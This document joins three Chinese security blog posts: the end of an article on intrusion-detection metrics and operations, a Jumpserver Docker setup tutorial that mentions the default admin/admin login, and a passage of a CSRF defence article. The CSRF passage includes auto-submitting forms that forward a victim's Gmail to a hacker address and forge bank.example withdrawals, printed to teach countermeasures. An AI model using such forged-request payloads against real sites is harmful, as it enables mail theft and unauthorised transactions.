；EDR产品不枚举了，腾讯的iOA、阿里的阿里郎，一定程度上都是可以充当类似的角色；入侵检测效果评价指标首先，主动发现的入侵案例/所有入侵 = 主动发现率。这个指标一定是最直观的。比较麻烦的是分母，很多真实发生的入侵，如果外部不反馈，我们又没检测到，它就不会出现在分母里，所以有效发现率总是虚高的，谁能保证当前所有的入侵都发现了呢？（但是实际上，只要入侵次数足够多，不管是SRC收到的情报，还是“暗网”上报出来的一个大新闻，把客观上已经知悉的入侵列入分母，总还是能计算出一个主动发现率的。）另外，真实的入侵其实是一个低频行为，大型的互联网企业如果一年到头成百上千的被入侵，肯定也不正常。因此，如果很久没出现真实入侵案例，这个指标长期不变化，也无法刻画入侵检测能力是否在提升。所以，我们一般还会引入两个指标来观测：蓝军对抗主动发现率已知场景覆盖率蓝军主动高频对抗和演习，可以弥补真实入侵事件低频的不足，但是由于蓝军掌握的攻击手法往往也是有限的，他们多次演习后，手法和场景可能会被罗列完毕。假设某一个场景建设方尚未补齐能力，蓝军同样的姿势演习100遍，增加100个未发现的演习案例，对建设方而言并没有更多的帮助。所以，把已知攻击手法的建成覆盖率拿出来，也是一个比较好的评价指标。入侵检测团队把精力聚焦在已知攻击手法的优先级评估和快速覆盖上，对建设到什么程度是满足需要的，要有自己的专业判断（参考入侵检测原则里的“性价比”原则）。而宣布建成了一个场景的入侵发现能力，是要有基本的验收原则的：该场景日均工单 < X单，峰值 < Y单；当前所有场景日平均<XX，峰值 <YY，超出该指标的策略不予接收，因为过多的告警会导致有效信息被淹没，反而导致此前具备的能力被干扰，不如视为该场景尚未具备对抗能力。同一个事件只告警首次，多次出现自动聚合。具备误报自学习能力。告警具备可读性（有清晰的风险阐述、关键信息、处理指引、辅助信息或者索引，便于定性），不鼓励Key-Value模式的告警，建议使用自然语言描述核心逻辑和响应流程。有清晰的说明文档，自测报告（就像交付了一个研发产品，产品文档和自测过程是质量的保障）。有蓝军针对该场景实战验收报告。不建议调用微信、短信等接口发告警（告警和事件的区别是，事件可以闭环，告警只是提醒），统一的告警事件框架可以有效的管理事件确保闭环，还能提供长期的基础运营数据，比如止损效率、误报量/率。策略人员的文档应当说明当前模型对哪些情况具备感知能力，哪些前提下会无法告警（考验一个人对该场景和自己模型的理解能力）。通过前述判断，可以对策略的成熟度形成自评分，0-100自由大致估算。单个场景往往很难达到100分，但那并没有关系，因为从80分提升到100分的边际成本可能变的很高。不建议追求极致，而是全盘审视，是否快速投入到下一个场景中去。如果某个不到满分的场景经常出现真实对抗，又没有交叉的其它策略进行弥补，那自评结论可能需要重审并提高验收的标准。至少解决工作中实际遇到的Case要优先考虑。影响入侵检测的关键要素讨论影响入侵检测的要素时，我们可以简单看看，曾经发生过哪些错误导致防守方不能主动发现入侵：依赖的数据丢失，比如HIDS在当事机器上，没部署安装/Agent挂了/数据上报过程丢失了/Bug了，或者后台传输链条中丢失数据。策略脚本Bug，没启动（事实上我们已经失去了这个策略感知能力了）。还没建设对应的策略（很多时候入侵发生了才发现这个场景我们还没来得及建设对应的策略）。策略的灵敏度/成熟度不够（比如扫描的阈值没达到，WebShell用了变形的对抗手法）。模型依赖的部分基础数据错误，做出了错误的判断。成功告警了，但是负责应急同学错误的判断/没有跟进/辅助信息不足以定性，没有行动起来。所以实际上，要让一个入侵事件被捕获，我们需要入侵检测系统长时间、高质量、高可用的运行。这是一件非常专业的工作，超出了绝大多数安全工程师能力和意愿的范畴。所以建议指派专门的运营人员对以下目标负责：数据采集的完整性（全链路的对账）。每一个策略时刻工作正常（自动化拨测监控）。基础数据的准确性。工单运营支撑平台及追溯辅助工具的便捷性。可能有些同学会想，影响入侵检测的关键要素，难道不是模型的有效性么？怎么全是这些乱七八糟的东西？实际上，大型互联网企业的入侵检测系统日均数据量可能到达数百T，甚至更多。涉及到数十个业务模块，成百上千台机器。从数字规模上来说，不亚于一些中小型企业的整个数据中心。这样复杂的一个系统，要长期维持在高可用标准，本身就需要有SRE、QA等辅助角色的专业化支持。如果仅依靠个别安全工程师，很难让其研究安全攻防的时候，又兼顾到基础数据质量、服务的可用性和稳定性、发布时候的变更规范性、各类运营指标和运维故障的及时响应。最终的结果就是能力范围内可以发现的入侵，总是有各种意外“恰好”发现不了。所以，笔者认为，以多数安全团队运营质量之差，其实根本轮不到拼策略（技术）。当然，一旦有资源投入去跟进这些辅助工作之后，入侵检测就真的需要拼策略了。此时，攻击手法有那么多，凭什么先选择这个场景建设？凭什么认为建设到某程度就足够满足当下的需要了？凭什么选择发现某些样本，而放弃另一些样本的对抗？这些看似主观性的东西，非常考验专业判断力。而且在领导面前很容易背上“责任心不足”的帽子，比如为困难找借口而不是为目标找方法，这个手法黑客攻击了好多次，凭什么不解决，那个手法凭什么说在视野范围内，但是要明年再解决？如何发现APT？所谓APT，就是高级持续威胁。既然是高级的，就意味着木马很大可能是免杀的（不能靠杀毒软件或者普通的特征发现），利用的漏洞也是高级的（加固到牙齿可能也挡不住敌人进来的步伐），攻击手法同样很高级（攻击场景可能我们都没有见过）。所以，实际上APT的意思，就约等于同于不能被发现的入侵。然而，业界总还有APT检测产品，解决方案的厂商在混饭吃，他们是怎么做的呢？木马免杀的，他们用沙箱+人工分析，哪怕效率低一些，还是试图做出定性，并快速的把IOC（威胁情报）同步给其它客户，发现1例，全球客户都具备同样的感知能力。流量加密变形对抗的，他们用异常检测的模型，把一些不认识的可疑的IP关系、payload给识别出来。当然，识别出来之后，也要运营人员跟进得仔细，才能定性。攻击手法高级的，他们还是会假定黑客就用鱼叉、水坑之类的已知手法去执行，然后在邮箱附件、PC终端等环节采集日志，对用户行为进行分析，UEBA试图寻找出用户异于平常的动作。那么，我们呢？笔者也没有什么好的办法，可以发现传说中的“免杀”的木马，但是我们可以针对已知的黑客攻击框架（比如Metasploit、Cobalt Strike）生成的样本、行为进行一些特征的提取。我们可以假设已经有黑客控制了某一台机器，但是它试图进行横向扩散的时候，我们有一些模型可以识别这个主机的横向移动行为。笔者认为，世界上不存在100%能发现APT的方法。但是我们可以等待实施APT的团队犯错，只要我们的纵深足够的多，信息足够不对称，想要完全不触碰我们所有的铃铛，绝对存在一定的困难。甚至，攻击者如果需要小心翼翼的避开所有的检测逻辑，可能也会给对手一种心理上的震慑，这种震慑可能会延缓对手接近目标的速度，拉长时间。而在这个时间里，只要他犯错，就轮到我们出场了。前面所有的高标准，包括高覆盖、低误报，强制每一个告警跟进到底，“掘地三尺”的态度，都是在等待这一刻。抓到一个值得敬佩的对手，那种成就感，还是很值得回味的。所以，希望所有从事入侵检测的安全同行们都能坚持住，即使听过无数次“狼来了”，下一次看到告警，依然可以用最高的敬畏心去迎接对手（告警虐我千百遍，我待告警如初恋）。AI在入侵检测领域的正确姿势最近这两年，如果不谈AI的话，貌似故事就不会完整。只不过，随着AI概念的火爆，很多人已经把传统的数据挖掘、统计分析等思想，比如分类、预测、聚类、关联之类的算法，都一律套在AI的帽子里。其实AI是一种现代的方法，在很多地方有非常实际的产出了。以WebShell的文本分析为例，我们可能需要花很长很长的时间，才能把上千个样本里隐含的几十种样本技术类型拆分开，又花更长的时间去一一建设模型（是的，在这样的场景下，特征工程真的是一个需要更长时间的工作）。而使用AI，做好数据打标的工作，训练、调参，很快就能拿到一个实验室环境不那么过拟合的模型出来，迅速投产到生产环境上。熟练一点可能1-2个月就能做完了。在这种场景下，AI这种现代的方法，的确能几大的提高效率。但问题是，前文也提到过了，黑客的攻击黑样本、WebShell的样本，往往极其稀缺，它不可能是完备的能够描述黑客入侵的完整特征的。因此，AI产出的结果，无论是误报率还是漏报率，都会受训练方法和输入样本的影响较大，我们可以借助AI，但绝对不能完全交给AI。安全领域一个比较常见的现象是，将场景转变成标记问题，要难过于通过数学模型把标记的解给求出来。此时往往需要安全专家先行，算法专家再跟上，而不能直接让算法专家“孤军奋战”。针对一个具体的攻击场景，怎么样采集对应的入侵数据，思考这个入侵动作和正常行为的区别，这个特征的提取过程，往往决定了模型最终的效果。特征决定了效果的上限，而算法模型只能决定了有多接近这个上限。此前，笔者曾见过一个案例，AI团队产出了一个实验室环境效果极佳，误报率达到1/1000000的WebShell模型，但是投放到生产环境里初期日均告警6000单，完全无法运营，同时还存在不少漏报的情况。这些情况随着安全团队和AI工程师共同的努力，后来逐渐地解决。但是并未能成功的取代原有的特征工程模型。目前业界有许多产品、文章在实践AI，但遗憾的是，这些文章和产品大多“浅尝辄止”，没有在真实的环境中实践运营效果。一旦我们用前面的标准去要求它，就会发现，AI虽然是个好东西，但是绝对只是个“半成品”。真正的运营，往往需要传统的特征工程和AI并行，也需要持续地进行迭代。未来必然是AI的天下，但是有多少智能，前面可能就要铺垫多少人工。愿与同行们一起在这个路上继续探索下去，多多交流分享。关于美团安全美团安全部的大多数核心开发人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server 软件层（内核态/用户态）、语言虚拟机层(JVM/JS V8)、Web应用层、数据访问层等，并能够基于大数据+机器学习技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。【安利个小广告】美团安全部正在招募Web&二进制攻防、后台&系统开发、机器学习&算法等各路小伙伴。如果你想加入我们，欢迎简历请发至邮箱zhaoyan17@meituan.com具体职位信息可参考这里美团安全应急响应中心MTSRC主页：security.meituan.com

一、背景笔者最近想起此前公司使用过的堡垒机系统，觉得用的很方便，而现在的公司并没有搭建此类系统，想着以后说不定可以用上；而且最近也有点时间，因此来了搭建堡垒机系统的兴趣，在搭建过程中参考了比较多的文档，其中最详细的还是官方文档，地址如下所示：Jumpserver 文档二、操作概要1. 系统运行2. 配置入门3. 测试验证三、系统运行在官方文档中安装堡垒机有很多种方法，这让笔者有些纠结，另外而且在不同系统中安装方法也不一致，不过正在徘徊不定时，发现一种通用的安装方法，便是采用docker进行安装，因此本文中笔者将以docker安装为例3.1 下载镜像在docker官方镜像库当中并没有收录jumpserver，因此下载镜像命令如下所示：docker pull registry.jumpserver.org/public/jumpserver:1.0.0下载过程可能比较慢，笔者大约花费了14分钟才将其下载完成，下载完成后结果如下所示1.0.0: Pulling from public/jumpserveraf4b0a2388c6: Pull completeaa66a3d10fd2: Pull complete1d4c6a27f2ac: Pull complete2490267572de: Pull completeb00f1599768d: Pull complete398fc903cdc3: Pull completef8490bbfc09a: Pull complete86d238b365f5: Pull complete2cd3b1ef59b2: Pull complete4a21434eeb73: Pull completeae8cf3e909e0: Pull complete7c440776471a: Pull complete0a5e895f91af: Pull completeb86672241685: Pull completeaf16a4945f95: Pull complete0374e723cd6c: Pull completee18b86849df9: Pull complete648aa832cb74: Pull completeb52364a5c704: Pull completeDigest: sha256:0f26e439c492ac52cbc1926aa950a59730607c947c79557ab3da51bfc2c7b5d4Status: Downloaded newer image for registry.jumpserver.org/public/jumpserver:1.0.03.2 运行镜像下载之后笔者需要将下载下来的容器运行起来，为了防止80端口被宿主机其他进程所占用，因此将容器端口映射到宿主机的8011上，运行命令如下所示：docker run –name jms_server -d -p 8011:80 -p 2222:2222 registry.jumpserver.org/public/jumpserver:1.0.0在参数当中因为有加入后台运行参数-d，容器运行之后终端不会进入容器bash中，而且当命令执行成功之后，docker将会返回容器ID，如果返回信息则可能出现了异常错误，正常返回结果如下所示4709a7d85af28bf05a63fb3e42541a41c30edda6668fd54a446cfab006c35b9e3.3 运行检查容器运行之后，笔者需要对其进行检测确保运行成功，检查方式有两个，首先观察容器是否正常运行，然后是检查堡垒机是否能被浏览器所访问首先通过如下命令可以查看当前正在运行的容器docker ps如果容器正常运行将会出现刚在笔者所运行的堡垒机容器ID，正常返回结果参考如下CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES4709a7d85af2 registry.jumpserver.org/public/jumpserver:1.0.0 “/opt/start_jms.sh” 8 minutes ago Up 8 minutes 443/tcp, 0.0.0.0:2222->2222/tcp, 0.0.0.0:8011->80/tcp jms_server在返回结果当中可以看到之前docker返回的容器ID正处于运行状态，便可以确定容器运行正常，接着笔者还需要通过浏览器来检测是否运行成功，使用浏览器打开如下地址http://127.0.0.1:8011/当浏览器出现如下界面时，则基本代表成功四、配置入门在确定系统正常运行之后，接下来就可以对系统进行一些配置，堡垒机配置比较简单，下面的配置是将是使用堡垒机最为基础的一些配置，配置主要是添加一些资产进行管理，这便需要添加管理用户、系统普通用户、账户授权等操作。4.1 登录系统在前面的检验运行的截图当中可以看到需要登录，而账号和密码笔者并没有在官方文档中所看到，笔者随手一尝试，发现用户名和密码分别是admin与admin，如下图所示登录成功之后，进入系统看到的界面如下图所示4.2 管理用户接下来笔者需要添加一些资产，添加资产的前提条件是有一个管理用户，这个管理用户是资产的最高权限账户，堡垒机之后会使用此账户来登录并管理资产，和获取一些统计信息，笔者在资产管理->管理用户列表中点击创建系统用户按钮，便来到了创建管理用户的页面，如下图所示在表单中可以看见必须填写用户名，和认证所用的密码或私钥，按照真实情况去填写，比如笔者的资产最高权限账户是song，密码123456Ab,那么就如实填写上去。4.3 资产管理在添加管理用户之后，便可以添加资产了，添加资产也非常的简单，在资产列表点击创建资产按钮，便来到了添加资产的页面，如下图所示添加资产需要填写，资产的IP地址，以及ssh的端口号，以及选择资产的操作系统类型，并且选择用哪一个管理用户4.4 系统用户在资产管理下还有一个系统用户管理，这个系统用户的使用场景是，有时候需要在很多个目标资产中创建一个普通账户，这时候肯定是十分麻烦；此时便可以通过堡垒机上的系统用户管理来创建一个系统用户；然后下发到目标资产中，这样一来就不需要去目标主机一个个登录然后去创建，因此非常方便，添加系统用户如下图所示创建系统用户需输入需要创建的账号，以及选择认证的方式，默认为秘钥方式，也可以将选择框选中去掉，通过密码来认证。五、测试验证在前面的配置步骤操作完毕后，便可以进行一些常规功能验证，以此来加深对jumpserver系统的了解，这些功能测试点有 资产连接测试、用户授权、Web终端、在线会话、命令记录等功能。5.1 连接测试连接测试的目的是检查资产是否可以被堡垒机所访问，可以在资产列表点击资产名称，便可以进入资产详情页面，右侧有两个按钮，点击刷新按钮，正确配置的参考效果如下图所示如果能看到左侧的硬件信息发生了变更，就代表此前配置的管理用户没有问题，否则会弹出错误提示框；5.2 用户授权当配置资产后，如果想在堡垒机中直接连接终端就还需要给用户授权，授权分为两个步骤，第一步是给web终端账户授权，在会话管理->终端管理,如下图所示第二步则是给用户自己本身授权，在授权管理->资产权限->创建权限规则中做好相应配置，如下图所示5.3 web终端当给用户授权之后，用户便可以会话管理->Web终端中与系统进行交互，如下图所示5.4 在线会话有些时候想看谁在操作服务器，可以很轻松的通过在线会话功能来查看当前有哪些用户在操作终端，在会话管理->在线会话列表中进行查看，如下图所示5.5 命令记录笔者觉得堡垒机最大的作用之一便是审计，如果想知道某个用户在系统中执行了那些命令，可以很方便的在会话管理->命令记录中进行查看，如下图所示六、 图书推荐如果对笔者的实战文章较为感兴趣，可以关注笔者新书《PHP Web安全开发实战》，现已在各大平台上架销售，封面如下图所示作者：汤青松微信：songboy8888日期：2018-10-30 ...

背景随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的 XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入 CSP、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。前端安全近几年，美团业务高速发展，前端随之面临很多安全挑战，因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案，将会做成一个系列，希望可以帮助前端同学在日常开发中不断预防和修复安全漏洞。本文是该系列的第二篇。今天我们讲解一下 CSRF，其实相比XSS，CSRF的名气似乎并不是那么大，很多人都认为“CSRF不具备那么大的破坏性”。真的是这样吗？接下来，我们还是有请小明同学再次“闪亮”登场。CSRF攻击CSRF漏洞的发生相比XSS，CSRF的名气似乎并不是那么大，很多人都认为CSRF“不那么有破坏性”。真的是这样吗？接下来有请小明出场~~小明的悲惨遭遇这一天，小明同学百无聊赖地刷着Gmail邮件。大部分都是没营养的通知、验证码、聊天记录之类。但有一封邮件引起了小明的注意：甩卖比特币，一个只要998！！聪明的小明当然知道这种肯定是骗子，但还是抱着好奇的态度点了进去（请勿模仿）。果然，这只是一个什么都没有的空白页面，小明失望的关闭了页面。一切似乎什么都没有发生……在这平静的外表之下，黑客的攻击已然得手。小明的Gmail中，被偷偷设置了一个过滤规则，这个规则使得所有的邮件都会被自动转发到haker@hackermail.com。小明还在继续刷着邮件，殊不知他的邮件正在一封封地，如脱缰的野马一般地，持续不断地向着黑客的邮箱转发而去。不久之后的一天，小明发现自己的域名已经被转让了。懵懂的小明以为是域名到期自己忘了续费，直到有一天，对方开出了 $650 的赎回价码，小明才开始觉得不太对劲。小明仔细查了下域名的转让，对方是拥有自己的验证码的，而域名的验证码只存在于自己的邮箱里面。小明回想起那天奇怪的链接，打开后重新查看了“空白页”的源码：<form method=“POST” action=“https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype=“multipart/form-data”> <input type=“hidden” name=“cf2_emc” value=“true”/> <input type=“hidden” name=“cf2_email” value=“hacker@hakermail.com”/> ….. <input type=“hidden” name=“irf” value=“on”/> <input type=“hidden” name=“nvp_bu_cftb” value=“Create Filter”/> </form> <script> document.forms[0].submit();</script>这个页面只要打开，就会向Gmail发送一个post请求。请求中，执行了“Create Filter”命令，将所有的邮件，转发到“hacker@hakermail.com”。小明由于刚刚就登陆了Gmail，所以这个请求发送时，携带着小明的登录凭证（Cookie），Gmail的后台接收到请求，验证了确实有小明的登录凭证，于是成功给小明配置了过滤器。黑客可以查看小明的所有邮件，包括邮件里的域名验证码等隐私信息。拿到验证码之后，黑客就可以要求域名服务商把域名重置给自己。小明很快打开Gmail，找到了那条过滤器，将其删除。然而，已经泄露的邮件，已经被转让的域名，再也无法挽回了……以上就是小明的悲惨遭遇。而“点开一个黑客的链接，所有邮件都被窃取”这种事情并不是杜撰的，此事件原型是2007年Gmail的CSRF漏洞：https://www.davidairey.com/google-Gmail-security-hijack/当然，目前此漏洞已被Gmail修复，请使用Gmail的同学不要慌张。什么是CSRFCSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。一个典型的CSRF攻击有着如下的流程：受害者登录a.com，并保留了登录凭证（Cookie）。攻击者引诱受害者访问了b.com。b.com 向 a.com 发送了一个请求：a.com/act=xx。浏览器会默认携带a.com的Cookie。a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。a.com以受害者的名义执行了act=xx。攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让a.com执行了自己定义的操作。几种常见的攻击类型GET类型的CSRFGET类型的CSRF利用非常简单，只需要一个HTTP请求，一般会这样利用： <img src=“http://bank.example/withdraw?amount=10000&for=hacker" > 在受害者访问含有这个img的页面后，浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。POST类型的CSRF这种类型的CSRF利用起来通常使用的是一个自动提交的表单，如： <form action=“http://bank.example/withdraw" method=POST> <input type=“hidden” name=“account” value=“xiaoming” /> <input type=“hidden” name=“amount” value=“10000” /> <input type=“hidden” name=“for” value=“hacker” /></form><script> document.forms[0].submit(); </script> 访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。POST类型的攻击通常比GET要求更加严格一点，但仍并不复杂。任何个人网站、博客，被黑客上传页面的网站都有可能是发起攻击的来源，后端接口不能将安全寄托在仅允许POST上面。链接类型的CSRF链接类型的CSRF并不常见，比起其他两种用户打开页面就中招的情况，这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接，或者以广告的形式诱导用户中招，攻击者通常会以比较夸张的词语诱骗用户点击，例如： <a href=“http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank”> 重磅消息！！ <a/>由于之前用户登录了信任的网站A，并且保存登录状态，只要用户主动访问上面的这个PHP页面，则表示攻击成功。CSRF的特点攻击一般发起在第三方网站，而不是被攻击的网站。被攻击的网站无法防止攻击发生。攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作；而不是直接窃取数据。整个过程攻击者并不能获取到受害者的登录凭证，仅仅是“冒用”。跨站请求可以用各种方式：图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中，难以进行追踪。CSRF通常是跨域的，因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能，比如可以发图和链接的论坛和评论区，攻击可以直接在本域下进行，而且这种攻击更加危险。防护策略CSRF通常从第三方网站发起，被攻击的网站无法防止攻击发生，只能通过增强自己网站针对CSRF的防护能力来提升安全性。上文中讲了CSRF的两个特点：CSRF（通常）发生在第三方域名。CSRF攻击者不能获取到Cookie等信息，只是使用。针对这两点，我们可以专门制定防护策略，如下：阻止不明外域的访问同源检测Samesite Cookie提交时要求附加本域才能获取的信息CSRF Token双重Cookie验证以下我们对各种防护方法做详细说明：同源检测既然CSRF大多来自第三方网站，那么我们就直接禁止外域（或者不受信任的域名）对我们发起请求。那么问题来了，我们如何判断请求是否来自外域呢？在HTTP协议中，每一个异步请求都会携带两个Header，用于标记来源域名：Origin HeaderReferer Header这两个Header在浏览器发起请求时，大多数情况会自动带上，并且不能由前端自定义内容。服务器可以通过解析这两个Header中的域名，确定请求的来源域。使用Origin Header确定来源域名在部分与CSRF有关的请求中，请求的Header中会携带Origin字段。字段内包含请求的域名（不包含path及query）。如果Origin存在，那么直接使用Origin中的字段确认来源域名就可以。但是Origin在以下两种情况下并不存在：IE11同源策略： IE 11 不会在跨站CORS请求上添加Origin标头，Referer头将仍然是唯一的标识。最根本原因是因为IE 11对同源的定义和其他浏览器有不同，有两个主要的区别，可以参考MDN Same-origin_policy#IE_Exceptions302重定向： 在302重定向之后Origin不包含在重定向的请求中，因为Origin可能会被认为是其他来源的敏感信息。对于302重定向的情况来说都是定向到新的服务器上的URL，因此浏览器不想将Origin泄漏到新的服务器上。使用Referer Header确定来源域名根据HTTP协议，在HTTP头中有一个字段叫Referer，记录了该HTTP请求的来源地址。对于Ajax请求，图片和script等资源请求，Referer为发起请求的页面地址。对于页面跳转，Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。这种方法并非万无一失，Referer的值是由浏览器提供的，虽然HTTP协议上有明确的要求，但是每个浏览器对于Referer的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来讲，这样并不是很安全。在部分情况下，攻击者可以隐藏，甚至修改自己请求的Referer。2014年，W3C的Web应用安全工作组发布了Referrer Policy草案，对浏览器该如何发送Referer做了详细的规定。截止现在新版浏览器大部分已经支持了这份草案，我们终于可以灵活地控制自己网站的Referer策略了。新版的Referrer Policy规定了五种Referer策略：No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三种策略：never、default和always，在新标准里换了个名称。他们的对应关系如下：策略名称属性值（新）属性值（旧）No Referrerno-ReferrerneverNo Referrer When Downgradeno-Referrer-when-downgradedefaultOrigin Only(same or strict) originoriginOrigin When Cross Origin(strict) origin-when-crossorigin-Unsafe URLunsafe-urlalways根据上面的表格因此需要把Referrer Policy的策略设置成same-origin，对于同源的链接和引用，会发送Referer，referer值为Host不带Path；跨域访问则不携带Referer。例如：aaa.com引用bbb.com的资源，不会发送Referer。设置Referrer Policy的方法有三种：在CSP设置页面头部增加meta标签a标签增加referrerpolicy属性上面说的这些比较多，但我们可以知道一个问题：攻击者可以在自己的请求中隐藏Referer。如果攻击者将自己的请求这样填写： <img src=“http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy=“no-referrer”> 那么这个请求发起的攻击将不携带Referer。另外在以下情况下Referer没有或者不可信：1.IE6、7下使用window.location.href=url进行界面的跳转，会丢失Referer。2.IE6、7下使用window.open，也会缺失Referer。3.HTTPS页面跳转到HTTP页面，所有浏览器Referer都丢失。4.点击Flash上到达另外一个网站的时候，Referer的情况就比较杂乱，不太可信。无法确认来源域名情况当Origin和Referer头文件不存在时该怎么办？如果Origin和Referer都不存在，建议直接进行阻止，特别是如果您没有使用随机CSRF Token（参考下方）作为第二次检查。如何阻止外域请求通过Header的验证，我们可以知道发起请求的来源域名，这些来源域名可能是网站本域，或者子域名，或者有授权的第三方域名，又或者来自不可信的未知域名。我们已经知道了请求域名是否是来自不可信的域名，我们直接阻止掉这些的请求，就能防御CSRF攻击了吗？且慢！当一个请求是页面请求（比如网站的主页），而来源是搜索引擎的链接（例如百度的搜索结果），也会被当成疑似CSRF攻击。所以在判断的时候需要过滤掉页面请求情况，通常Header符合以下情况：Accept: text/htmlMethod: GET但相应的，页面请求就暴露在了CSRF的攻击范围之中。如果你的网站中，在页面的GET请求中对当前用户做了什么操作的话，防范就失效了。例如，下面的页面请求：GET https://example.com/addComment?comment=XXX&dest=orderId注：这种严格来说并不一定存在CSRF攻击的风险，但仍然有很多网站经常把主文档GET请求挂上参数来实现产品功能，但是这样做对于自身来说是存在安全风险的。另外，前面说过，CSRF大多数情况下来自第三方域名，但并不能排除本域发起。如果攻击者有权限在本域发布评论（含链接、图片等，统称UGC），那么它可以直接在本域发起攻击，这种情况下同源策略无法达到防护的作用。综上所述：同源验证是一个相对简单的防范方法，能够防范绝大多数的CSRF攻击。但这并不是万无一失的，对于安全性要求较高，或者有较多用户输入内容的网站，我们就要对关键的接口做额外的防护措施。CSRF Token前面讲到CSRF的另一个特征是，攻击者无法直接窃取到用户的信息（Cookie，Header，网站内容等），仅仅是冒用Cookie中的信息。而CSRF攻击之所以能够成功，是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token，来把正常的请求和攻击的请求区分开，也可以防范CSRF的攻击。原理CSRF Token的防护策略分为三个步骤：1.将CSRF Token输出到页面中首先，用户打开页面的时候，服务器需要给这个用户生成一个Token，该Token通过加密算法对数据进行加密，一般Token都包括随机字符串和时间戳的组合，显然在提交时Token不能再放在Cookie中了，否则又会被攻击者冒用。因此，为了安全起见Token最好还是存在服务器的Session中，之后在每次页面加载时，使用JS遍历整个DOM树，对于DOM中所有的a和form标签后加入Token。这样可以解决大部分的请求，但是对于在页面加载之后动态生成的HTML代码，这种方法就没有作用，还需要程序员在编码时手动添加Token。2.页面提交的请求携带这个Token对于GET请求，Token将附在请求地址之后，这样URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说，要在 form 的最后加上： <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>这样，就把Token以参数的形式加入请求了。3.服务器验证Token是否正确当用户从客户端得到了Token，再次提交给服务器的时候，服务器需要判断Token的有效性，验证过程是先解密Token，对比加密字符串以及时间戳，如果加密字符串一致且时间未过期，那么这个Token就是有效的。这种方法要比之前检查Referer或者Origin要安全一些，Token可以在产生并放于Session之中，然后在每次请求时把Token从Session中拿出，与请求中的Token进行比对，但这种方法的比较麻烦的在于如何把Token以参数的形式加入请求。下面将以Java为例，介绍一些CSRF Token的服务端校验逻辑，代码如下：HttpServletRequest req = (HttpServletRequest)request; HttpSession s = req.getSession(); // 从 session 中得到 csrftoken 属性String sToken = (String)s.getAttribute(“csrftoken”); if(sToken == null){ // 产生新的 token 放入 session 中 sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response); } else{ // 从 HTTP 头中取得 csrftoken String xhrToken = req.getHeader(“csrftoken”); // 从请求参数中取得 csrftoken String pToken = req.getParameter(“csrftoken”); if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ chain.doFilter(request, response); }else if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(“error.jsp”).forward(request,response); } }代码源自IBM developerworks CSRF这个Token的值必须是随机生成的，这样它就不会被攻击者猜到，考虑利用Java应用程序的java.security.SecureRandom类来生成足够长的随机标记，替代生成算法包括使用256位BASE64编码哈希，选择这种生成算法的开发人员必须确保在散列数据中使用随机性和唯一性来生成随机标识。通常，开发人员只需为当前会话生成一次Token。在初始生成此Token之后，该值将存储在会话中，并用于每个后续请求，直到会话过期。当最终用户发出请求时，服务器端必须验证请求中Token的存在性和有效性，与会话中找到的Token相比较。如果在请求中找不到Token，或者提供的值与会话中的值不匹配，则应中止请求，应重置Token并将事件记录为正在进行的潜在CSRF攻击。分布式校验在大型网站中，使用Session存储CSRF 